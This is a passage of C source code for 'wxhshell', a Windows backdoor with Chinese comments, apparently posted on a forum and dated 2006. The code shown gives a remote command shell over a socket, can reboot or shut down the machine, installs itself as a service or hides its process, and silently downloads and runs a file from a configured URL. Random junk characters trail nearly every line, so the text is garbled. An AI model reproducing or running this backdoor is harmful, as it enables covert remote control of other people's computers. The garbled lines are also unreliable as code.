      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $Vu %4kq  
    break;  zw13Tu  
  } u!&w"t61Nd  
  // 安装 f?-=&||f78  
  case 'i': { D][e uB  
    if(Install()) Xp(e/QB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y;0k |C   
    else A7{l60(5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W%/lBkP  
    break; r*-e~  
    } ER z@o_  
  // 卸载 lq4vX^S  
  case 'r': { DXbzl +R  
    if(Uninstall()) _h@s)"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (r&e|  
    else iSm5k:7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cfb8kNn~+  
    break; <"SDU_<xG  
    } c"vF i~Db  
  // 显示 wxhshell 所在路径 =cy;{2S'p  
  case 'p': { Gi<ik~  
    char svExeFile[MAX_PATH]; *O`76+iZ|_  
    strcpy(svExeFile,"\n\r"); F TB@70  
      strcat(svExeFile,ExeFile); f8>S<:  
        send(wsh,svExeFile,strlen(svExeFile),0); c|f)k:Q  
    break; ?*I _'2  
    } &9Vm3X  
  // 重启 wm3fd 7T  
  case 'b': { njz:7]>e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tk9/1C{8  
    if(Boot(REBOOT)) M4;A4V=W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^7l.!s#$b  
    else { M6ol/.G[  
    closesocket(wsh); *`}4]OGv.  
    ExitThread(0); {{FA "NW  
    } -:O~J#D  
    break; 5W0'r'{  
    } ^':Az6Z  
  // 关机 1' #%U A  
  case 'd': { ELF,T (  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &"V%n  
    if(Boot(SHUTDOWN)) &FQ]`g3_@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UOWOOdWS B  
    else { @ 2mJh^cj  
    closesocket(wsh); zTFfft<  
    ExitThread(0); {H$F!}a  
    } !fFmQ\|)4S  
    break; "}uPz4  
    } 7e,EI9?.  
  // 获取shell =4RBHe8`  
  case 's': { F",S}cK*MH  
    CmdShell(wsh); <h_lc}o/  
    closesocket(wsh); ;pU#3e+P8  
    ExitThread(0); L{>XT  
    break; X#s:C=q1  
  } !}sYPz]7!  
  // 退出 OL{U^uOhY  
  case 'x': { "s']@Qv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u8Ul +u  
    CloseIt(wsh); |?c v5l7E  
    break; |TOz{  
    } $qN+BKd]3  
  // 离开 cJ 5":^O  
  case 'q': { i!/V wGg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C[j'0@~V:B  
    closesocket(wsh);  T)o)%Yv  
    WSACleanup(); `jR= X  
    exit(1); URW#nm?  
    break; M5C}*c9  
        } PVAs# ~  
  } {7`eR2#Wq  
  } MB<oWH[e)  
[CH%(#>i~  
  // 提示信息 %m'd~#pze  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1=DUFl.  
} >w:px$g4  
  } ziuhS4k  
H'uRgBjWJ  
  return; 2?LZW14$d  
} ArBgg[i  
~+VIELU<%  
// shell模块句柄 (r cH\   
int CmdShell(SOCKET sock) Ez^U1KKOE7  
{ /*Z ,i&eC  
STARTUPINFO si; xbex6i"ZE  
ZeroMemory(&si,sizeof(si)); )j6VROt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DUg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ffGiNXCM  
PROCESS_INFORMATION ProcessInfo; )W&H{2No  
char cmdline[]="cmd"; f=v +D0K$n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MVV9[f  
  return 0; N|eus3\E  
} \NbMSC&H  
CT6Ca,  
// 自身启动模式 S#{e@ C  
int StartFromService(void) M%f96XUM  
{ i(q%EMf  
typedef struct H*_:IfI!  
{ #uNQ+US0  
  DWORD ExitStatus; "Vp+e%cqG  
  DWORD PebBaseAddress; Bb];qYuCO  
  DWORD AffinityMask; .bbl-a/ 3  
  DWORD BasePriority; -yt[0  
  ULONG UniqueProcessId; ukV1_QeN [  
  ULONG InheritedFromUniqueProcessId; Qcu1&t\C  
}   PROCESS_BASIC_INFORMATION; [Q,E( s  
uX@RdkC  
PROCNTQSIP NtQueryInformationProcess; h?2qX  
4oLrCQZ\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ![os5H.b#q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R9gK>}>Y  
e7/ b@  
  HANDLE             hProcess; X:\r )  
  PROCESS_BASIC_INFORMATION pbi; vMJv.O>HW  
^JF6L`Tp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p=6Q0r|'  
  if(NULL == hInst ) return 0; >\hu1C|W  
W:{1R&$l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = >)S\Dfi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q4$zsw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S?nXpYr  
uzL)qH$b  
  if (!NtQueryInformationProcess) return 0; #_{3W-35*  
HK>!%t0S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w">XI)*z  
  if(!hProcess) return 0; L.bR\fE   
oDul ?%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Klh7&HzR  
m4(:H(Za  
  CloseHandle(hProcess); '7Dg+a^x7  
P?*$Wf,~n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c[@-&o`  
if(hProcess==NULL) return 0; I&|%Fn  
K2<Q9 ,vt  
HMODULE hMod; BY"<90kBL  
char procName[255]; >6 [{\uPK  
unsigned long cbNeeded; Px&*&^Gf[b  
[ Y.3miE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xn(lkQ6Fm  
w\KO1 Ob  
  CloseHandle(hProcess); PgAC3%M6  
|cL'4I>b9  
if(strstr(procName,"services")) return 1; // 以服务启动 tF SO"  
%..{c#V  
  return 0; // 注册表启动 H27_T]\  
} TI:-Y@8  
T1?fC)  
// 主模块 s=Pwkte  
int StartWxhshell(LPSTR lpCmdLine) $-Q,@Bztq  
{  q%,q"WU  
  SOCKET wsl; v-2O{^n  
BOOL val=TRUE; vMKmHq  
  int port=0; N ~L3 9  
  struct sockaddr_in door; 6rMGl zuRo  
D]v=/43  
  if(wscfg.ws_autoins) Install(); }s{RW<A  
OOS(YP@b  
port=atoi(lpCmdLine); ! FbW7"yE  
0V ,R|Ln  
if(port<=0) port=wscfg.ws_port; /\_`Pkd3m  
-:t<%]RfY  
  WSADATA data; 0 } uEM_a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W}V L3s  
fb[f >1|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   to9 u%d8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); />_Mz  
  door.sin_family = AF_INET; .]g>.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #+V-65v  
  door.sin_port = htons(port); cf?*6q?n  
l'HrU 1_7Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B!H4 6w~  
closesocket(wsl); .%;UP7g  
return 1; =xScHy{$  
} L,V\g^4$K  
#rM/  
  if(listen(wsl,2) == INVALID_SOCKET) { 6"C$]kF?  
closesocket(wsl); %YLdie6c  
return 1; iZ2|/hnw  
} rr>*_67-:  
  Wxhshell(wsl); `=^;q 6f  
  WSACleanup(); .t|vwx  
Ol3$!x9  
return 0; o,(MB[|hQ  
Lw<?e;  
} xTNWT_d  
6O8'T`F[  
// 以NT服务方式启动 JPW+(n|g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H/'tSb  
{ !fUrDOM0E  
DWORD   status = 0; LM }0QL m?  
  DWORD   specificError = 0xfffffff; vUh.ev0  
&*iar+vr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _!6~o>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JTB_-J-TU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,":_=Tf.  
  serviceStatus.dwWin32ExitCode     = 0; {t`UV,  
  serviceStatus.dwServiceSpecificExitCode = 0; (cJb/|?3  
  serviceStatus.dwCheckPoint       = 0; :[P>e ox  
  serviceStatus.dwWaitHint       = 0; q@1!v  
tep_g4CQR_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &> 43l+  
  if (hServiceStatusHandle==0) return; JVE]Qb_  
+ou5cQ^  
status = GetLastError(); Yoi4R{9c  
  if (status!=NO_ERROR) ?<VahDBS+A  
{ A7SBm`XJ)p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [Dd?c,5AD  
    serviceStatus.dwCheckPoint       = 0; 95jJ"4a+  
    serviceStatus.dwWaitHint       = 0; kuq3QW<  
    serviceStatus.dwWin32ExitCode     = status; o!EPF-:  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qa~dd{?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3lYM(DT  
    return; N}Ozm6Mc  
  } +~mBo+ ,  
l}B,SkP^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2ijw g~_@  
  serviceStatus.dwCheckPoint       = 0; Q|Uq.UjY  
  serviceStatus.dwWaitHint       = 0; N 4Yvt&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ];bB7+  
} cU7 c}?J<  
)>08{7  
// 处理NT服务事件,比如:启动、停止 sXxF5&AF0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OO5k _J  
{ @*jd.a`  
switch(fdwControl) 7RNf)nz  
{ i9fK`:)  
case SERVICE_CONTROL_STOP: %toxZ}OP  
  serviceStatus.dwWin32ExitCode = 0; v&oE!s#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?'uxYeX6  
  serviceStatus.dwCheckPoint   = 0; .n]P6t  
  serviceStatus.dwWaitHint     = 0; NidG|Yg~Z  
  { 8$}1|"F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AU@K5jwDwQ  
  } zn|~{9>y  
  return; {:M5t1^UC  
case SERVICE_CONTROL_PAUSE: `vWFTv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xq1 =O  
  break; u1 d{|fF  
case SERVICE_CONTROL_CONTINUE: |Q2H^dU'rQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &z;F'>"  
  break; h7mJXS)t|  
case SERVICE_CONTROL_INTERROGATE: bAv>?Xqa  
  break; (@Q@B%!!K  
}; 3#vhQ*xU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fhlhlOg  
} H@Dj$U  
;,GE!9HW  
// 标准应用程序主函数 \2,7fy'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |NFX"wv:c<  
{ >AIkkQT  
]v96Q/a  
// 获取操作系统版本 o<2H~2/  
OsIsNt=GetOsVer(); odAeBQy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QU0K'4Yx5j  
GGHe{l  
  // 从命令行安装 KrN#>do&<  
  if(strpbrk(lpCmdLine,"iI")) Install(); w8i"-SE  
J8w#J  
  // 下载执行文件 KZ^W@*`D  
if(wscfg.ws_downexe) { '#d`K.;_b.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .r!:` 6  
  WinExec(wscfg.ws_filenam,SW_HIDE); WMfu5x7e4  
} m'H%O-h\  
v7"' ^sZ?  
if(!OsIsNt) { qXO@FW]  
// 如果时win9x,隐藏进程并且设置为注册表启动 @WVpDhG  
HideProc(); ImQ?<g8$  
StartWxhshell(lpCmdLine); `Cy-*$$  
} Enr8"+.(  
else vB >7W  
  if(StartFromService()) i_8q!CL@{  
  // 以服务方式启动 A9^t$Ii  
  StartServiceCtrlDispatcher(DispatchTable); bQc-ryC+.  
else yZFm<_9>  
  // 普通方式启动 [U[saR\  
  StartWxhshell(lpCmdLine); #x Z7%    
'ms&ty*T  
return 0; Dl hb'*@  
}
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只看该作者 1 发表于: 2006-10-10
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